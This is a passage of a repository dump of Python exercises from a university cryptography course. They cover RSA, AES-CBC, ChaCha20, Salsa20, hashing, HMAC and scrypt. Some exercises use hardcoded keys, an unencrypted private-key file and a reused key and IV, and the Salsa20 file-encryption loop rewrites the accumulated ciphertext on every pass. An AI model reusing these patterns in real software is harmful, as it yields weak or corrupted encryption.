public_exponent=65537, 7 | key_size=2048, 8 | backend=default_backend() 9 | ) 10 | 11 | 12 | pem = private_key.private_bytes( 13 | encoding=serialization.Encoding.PEM, 14 | format=serialization.PrivateFormat.PKCS8, # RAW / Traditional OpenSSL 15 | # encryption_algorithm=serialization.BestAvailableEncryption(b'mypassword') 16 | encryption_algorithm=serialization.NoEncryption() 17 | ) 18 | # pem.splitlines()[0] 19 | print(pem) 20 | with open("privatekey.pem", 'wb') as pem_out: 21 | pem_out.write(pem) 22 | 23 | 24 | 25 | public_key = private_key.public_key() 26 | public_pem = public_key.public_bytes( 27 | encoding=serialization.Encoding.PEM, 28 | format=serialization.PublicFormat.SubjectPublicKeyInfo 29 | ) 30 | print(public_pem) 31 | print(public_key.public_numbers()) 32 | print(private_key.private_numbers().p) 33 | print(private_key.private_numbers().q) 34 | print(private_key.private_numbers().d) 35 | 36 | print(private_key.private_numbers().public_numbers.e) 37 | -------------------------------------------------------------------------------- /AY2425/Python/basics/asymmetric/05_RSA_encrypt_hazmat.py: -------------------------------------------------------------------------------- 1 | from cryptography.hazmat.primitives.asymmetric import rsa 2 | from cryptography.hazmat.primitives import constant_time 3 | from cryptography.hazmat.primitives import serialization 4 | from cryptography.hazmat.backends import default_backend 5 | from cryptography.hazmat.primitives.asymmetric import padding 6 | from cryptography.hazmat.primitives import hashes 7 | 8 | key_file = open("privatekey.pem", "rb") 9 | private_key = serialization.load_pem_private_key( 10 | key_file.read(), 11 | password=None, 12 | backend=default_backend() 13 | ) 14 | 15 | public_key = private_key.public_key() 16 | 17 | message = b"encrypted data" 18 | 19 | ciphertext = public_key.encrypt( 20 | message, 21 | padding.OAEP( 22 | mgf=padding.MGF1(algorithm=hashes.SHA256()), 23 | algorithm=hashes.SHA256(), 24 | label=None 25 | ) 26 | ) 27 | 28 | plaintext = private_key.decrypt( 29 | ciphertext, 30 | padding.OAEP( 31 | mgf=padding.MGF1(algorithm=hashes.SHA256()), 32 | algorithm=hashes.SHA256(), 33 | label=None 34 | ) 35 | ) 36 | # plaintext == message 37 | 38 | print(constant_time.bytes_eq(plaintext,message)) 39 | -------------------------------------------------------------------------------- /AY2425/Python/basics/symmetric/01.gen_random_key.py: -------------------------------------------------------------------------------- 1 | from Crypto.Cipher import AES 2 | from Crypto.Random import get_random_bytes 3 | 4 | if __name__ == '__main__': 5 | 6 | print(get_random_bytes(40)) 7 | 8 | print(get_random_bytes(AES.block_size)) 9 | 10 | -------------------------------------------------------------------------------- /AY2425/Python/basics/symmetric/02.block-AES+padding.py: -------------------------------------------------------------------------------- 1 | import base64 2 | 3 | from Crypto.Util.Padding import pad, unpad 4 | from Crypto.Cipher import AES 5 | from Crypto.Random import get_random_bytes 6 | 7 | 8 | print(AES.key_size) 9 | print(AES.key_size[2]) 10 | 11 | key = get_random_bytes(AES.key_size[2]) 12 | iv = get_random_bytes(AES.block_size) 13 | 14 | 15 | data = b'These data are to be encrypted!!' # 32 bytes, no need for padding 16 | print(len(data)) 17 | cipher_enc = AES.new(key, AES.MODE_CBC, iv) 18 | ct = cipher_enc.encrypt(data) 19 | 20 | print(len(ct)) 21 | 22 | cipher_dec = AES.new(key, AES.MODE_CBC, iv) 23 | pt = cipher_dec.decrypt(ct) 24 | print(pt) 25 | 26 | 27 | 28 | 29 | 30 | # encryption + padding 31 | data = b'Unaligned data to cipher' # 24 bytes, will need padding 32 | cipher_enc = AES.new(key, AES.MODE_CBC, iv) 33 | padded_data = pad(data,AES.block_size) 34 | print(padded_data) 35 | ct = cipher_enc.encrypt(padded_data) 36 | 37 | #print Base64 38 | print(base64.b64encode(ct).decode()) 39 | 40 | 41 | #decryption + unpadding 42 | cipher_dec = AES.new(key, AES.MODE_CBC, iv) 43 | decrypted_data = cipher_dec.decrypt(ct) 44 | print(decrypted_data) 45 | pt = unpad(decrypted_data, AES.block_size) 46 | assert(data == pt) 47 | -------------------------------------------------------------------------------- /AY2425/Python/basics/symmetric/03.stream-chacha20.py: -------------------------------------------------------------------------------- 1 | import base64 2 | import sys 3 | from Crypto.Cipher import ChaCha20 4 | from Crypto.Random import get_random_bytes 5 | 6 | 7 | plaintext = b'This is the secret message to encrypt' 8 | 9 | key = get_random_bytes(ChaCha20.key_size) 10 | 11 | cipher = ChaCha20.new(key=key) #nonce is automatically generated 12 | 13 | # alternative code if you want to select the nonce explicitly 14 | # nonce = get_random_bytes(12) 15 | # cipher = ChaCha20.new(nonce=nonce, key=key) 16 | 17 | ciphertext = cipher.encrypt(plaintext) 18 | 19 | print("Ciphertext= "+base64.b64encode(ciphertext).decode()) 20 | print("Nonce= "+base64.b64encode(cipher.nonce).decode()) 21 | 22 | print(sys.getsizeof(plaintext),end=" ") 23 | print(sys.getsizeof(ciphertext)) 24 | print(len(cipher.nonce)) 25 | -------------------------------------------------------------------------------- /AY2425/Python/basics/symmetric/04.stream-salsa_incremental.py: -------------------------------------------------------------------------------- 1 | from Crypto.Cipher import Salsa20 2 | 3 | # these are bytes 4 | key = b'deadbeefdeadbeef' 5 | cipher = Salsa20.new(key) 6 | 7 | #incremental encryption with a stream cipher 8 | ciphertext = cipher.encrypt(b'The first part of the secret message. ') 9 | ciphertext += cipher.encrypt(b'The second part of the message.') 10 | #also the ciphertext is made of bytes 11 | 12 | #print the nonce you will have to share 13 | nonce = cipher.nonce 14 | print(nonce) 15 | 16 | # check: decryption works 17 | cipher2 = Salsa20.new(key,nonce) 18 | plaintext = cipher2.decrypt(ciphertext) 19 | print("Decrypted = "+plaintext.decode("utf-8")) 20 | 21 | -------------------------------------------------------------------------------- /AY2425/Python/basics/symmetric/05.stream_encrypt_file_update.py: -------------------------------------------------------------------------------- 1 | # This program encrypt the content of the file passed as first argument 2 | # and saves the ciphertext in the file whose name is passed as second argument 3 | 4 | from Crypto.Cipher import Salsa20 5 | from Crypto.Random import get_random_bytes 6 | import base64 7 | import sys 8 | 9 | salsa_key = b'deadbeeddeadbeef' 10 | 11 | nonce = get_random_bytes(8) 12 | streamcipher = Salsa20.new(salsa_key,nonce) 13 | 14 | f_output = open(sys.argv[2],"wb") 15 | 16 | ciphertext = b'' 17 | 18 | with open(sys.argv[1],"rb") as f_input: 19 | plaintext = f_input.read(1024) 20 | while plaintext: 21 | ciphertext += streamcipher.encrypt(plaintext) 22 | f_output.write(ciphertext) 23 | plaintext = f_input.read(1024) 24 | 25 | print("nonce = "+base64.b64encode(streamcipher.nonce).decode()) 26 | -------------------------------------------------------------------------------- /AY2425/Python/basics/symmetric/06.AES_encrypt_file.py: -------------------------------------------------------------------------------- 1 | # This program encrypt the content of the file passed as first argument 2 | # and saves the ciphertext in the file whose name is passed as second argument 3 | 4 | from Crypto.Cipher import AES 5 | from Crypto.Random import get_random_bytes 6 | from Crypto.Util.Padding import pad 7 | import sys 8 | 9 | 10 | aes_key = get_random_bytes(AES.key_size[0]) 11 | iv = get_random_bytes(AES.block_size) 12 | 13 | cipher = AES.new(aes_key, AES.MODE_CBC, iv) 14 | 15 | f_input = open(sys.argv[1],"rb") 16 | 17 | ciphertext = cipher.encrypt(pad(f_input.read(),AES.block_size)) 18 | 19 | f_output = open(sys.argv[2],"wb") 20 | f_output.write(ciphertext) 21 | 22 | print(iv) 23 | -------------------------------------------------------------------------------- /AY2425/Python/basics/symmetric/08.sha256.py: -------------------------------------------------------------------------------- 1 | from Crypto.Hash import SHA256 2 | 3 | 4 | hash_object = SHA256.new() 5 | hash_object.update(b'Beginning of the message to hash...') 6 | hash_object.update(b'...and some more data') 7 | 8 | print(hash_object.digest()) 9 | print(hash_object.hexdigest()) 10 | 11 | 12 | hash_object = SHA256.new(data=b'First part of the message. ' ) 13 | hash_object.update(b'Second part of the message. ') 14 | hash_object.update(b'Third and last.') 15 | 16 | print(hash_object.digest()) 17 | print(hash_object.hexdigest()) 18 | -------------------------------------------------------------------------------- /AY2425/Python/basics/symmetric/09.hash_file_sha3.py: -------------------------------------------------------------------------------- 1 | from Crypto.Hash import SHA3_256 2 | 3 | 4 | hash_gen = SHA3_256.new() 5 | 6 | with open(__file__) as f_input: 7 | hash_gen.update(f_input.read().encode()) 8 | 9 | print(hash_gen.digest()) 10 | print(hash_gen.hexdigest()) 11 | 12 | 13 | hash_gen = SHA3_256.new() 14 | with open(__file__,"rb") as f_input: 15 | hash_gen.update(f_input.read()) 16 | 17 | print(hash_gen.digest()) 18 | print(hash_gen.hexdigest()) 19 | -------------------------------------------------------------------------------- /AY2425/Python/basics/symmetric/10.hmac-sha512.py: -------------------------------------------------------------------------------- 1 | import base64 2 | import json 3 | from Crypto.Hash import HMAC, SHA512 4 | from Crypto.Random import get_random_bytes 5 | 6 | msg = b'This is the message to use. Now compute the SHA512-HMAC' 7 | secret = get_random_bytes(32) 8 | hmac_gen = HMAC.new(secret, digestmod=SHA512) 9 | hmac_gen.update(msg[:10]) 10 | hmac_gen.update(msg[10:]) 11 | mac = hmac_gen.hexdigest() 12 | 13 | 14 | #store message and MAC into a JSON data structure 15 | json_dict = {"message": msg.decode(), "MAC":mac} 16 | json_object = json.dumps(json_dict) 17 | print(json_object) 18 | 19 | 20 | 21 | # ASSUMPTION: we have securely exchanged the secret 22 | 23 | b64 = json.loads(json_object) 24 | hmac_ver = HMAC.new(secret, digestmod=SHA512) 25 | hmac_ver.update(b64["message"].encode()) 26 | 27 | try: 28 | hmac_ver.hexverify(b64["MAC"]) 29 | print("The message '%s' is authentic" % msg) 30 | except ValueError: 31 | print("Wrong secret or message.") 32 | -------------------------------------------------------------------------------- /AY2425/Python/basics/symmetric/12.key_derivation.py: -------------------------------------------------------------------------------- 1 | from Crypto.Protocol.KDF import scrypt 2 | from Crypto.Random import get_random_bytes 3 | 4 | password = b'W34kpassw0rd!' 5 | salt = get_random_bytes(16) 6 | 7 | # A good choice of parameters (N, r , p) was suggested by Colin Percival in his presentation in 2009: 8 | # http://www.tarsnap.com/scrypt/scrypt-slides.pdf 9 | # ( 2¹⁴, 8, 1 ) for interactive logins (≤100ms) 10 | # ( 2²⁰, 8, 1 ) for file encryption (≤5s) 11 | 12 | key = scrypt(password, salt, 16, N=2**14, r=8, p=1) 13 | print(salt) 14 | 15 | print("This should be secret: " + str(key)) 16 | -------------------------------------------------------------------------------- /AY2425/Python/basics/symmetric/13.sha256_hashlib.py: -------------------------------------------------------------------------------- 1 | import hashlib 2 | 3 | digest_object = hashlib.sha256() 4 | digest_object.update(b"First sentence to hash") 5 | digest_object.update(b" and second sentence to hash.") 6 | 7 | print(digest_object.digest()) 8 | print(digest_object.hexdigest()) 9 | -------------------------------------------------------------------------------- /AY2425/Python/basics/symmetric/14.HMAC_hashlib.py: -------------------------------------------------------------------------------- 1 | import hashlib 2 | import hmac 3 | from Crypto.Random import get_random_bytes 4 | 5 | msg = b'This is the message' 6 | secret = get_random_bytes(32) 7 | 8 | 9 | blake = hashlib.blake2b(key=secret, digest_size=32) 10 | blake.update(msg) 11 | print("BLAKE = " + blake.hexdigest()) 12 | 13 | #################### 14 | # the sender is computing the HMAC... 15 | mac_factory = hmac.new(secret, msg, hashlib.sha256) 16 | hmac_sha256 = mac_factory.digest() 17 | 18 | print("HMAC-SHA256@SENDER = " + mac_factory.hexdigest()) 19 | 20 | 21 | # the receiver has received msg1 and hmac_sha256... 22 | # then checks the HMAC 23 | msg1 = b'This is the new message' 24 | mac_factory_receiver = hmac.new(secret, msg1, hashlib.sha256) 25 | hmac_sha256_1 = mac_factory_receiver.hexdigest() 26 | print("HMAC-SHA256@RECEIVER= " + hmac_sha256_1) 27 | 28 | if hmac.compare_digest(mac_factory_receiver.digest(), hmac_sha256): 29 | print("HMAC correctly verified: messages are identical") 30 | else: 31 | print("HMAC are different") 32 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # cryptography-03lpyov-exercises 2 | 3 | This repository collects the source code of the exercises presented during the Cryptography course of the CyberSecurity Master Degree of the Politecnico di Torino. 4 | 5 | 6 | --------------------------------------------------------------------------------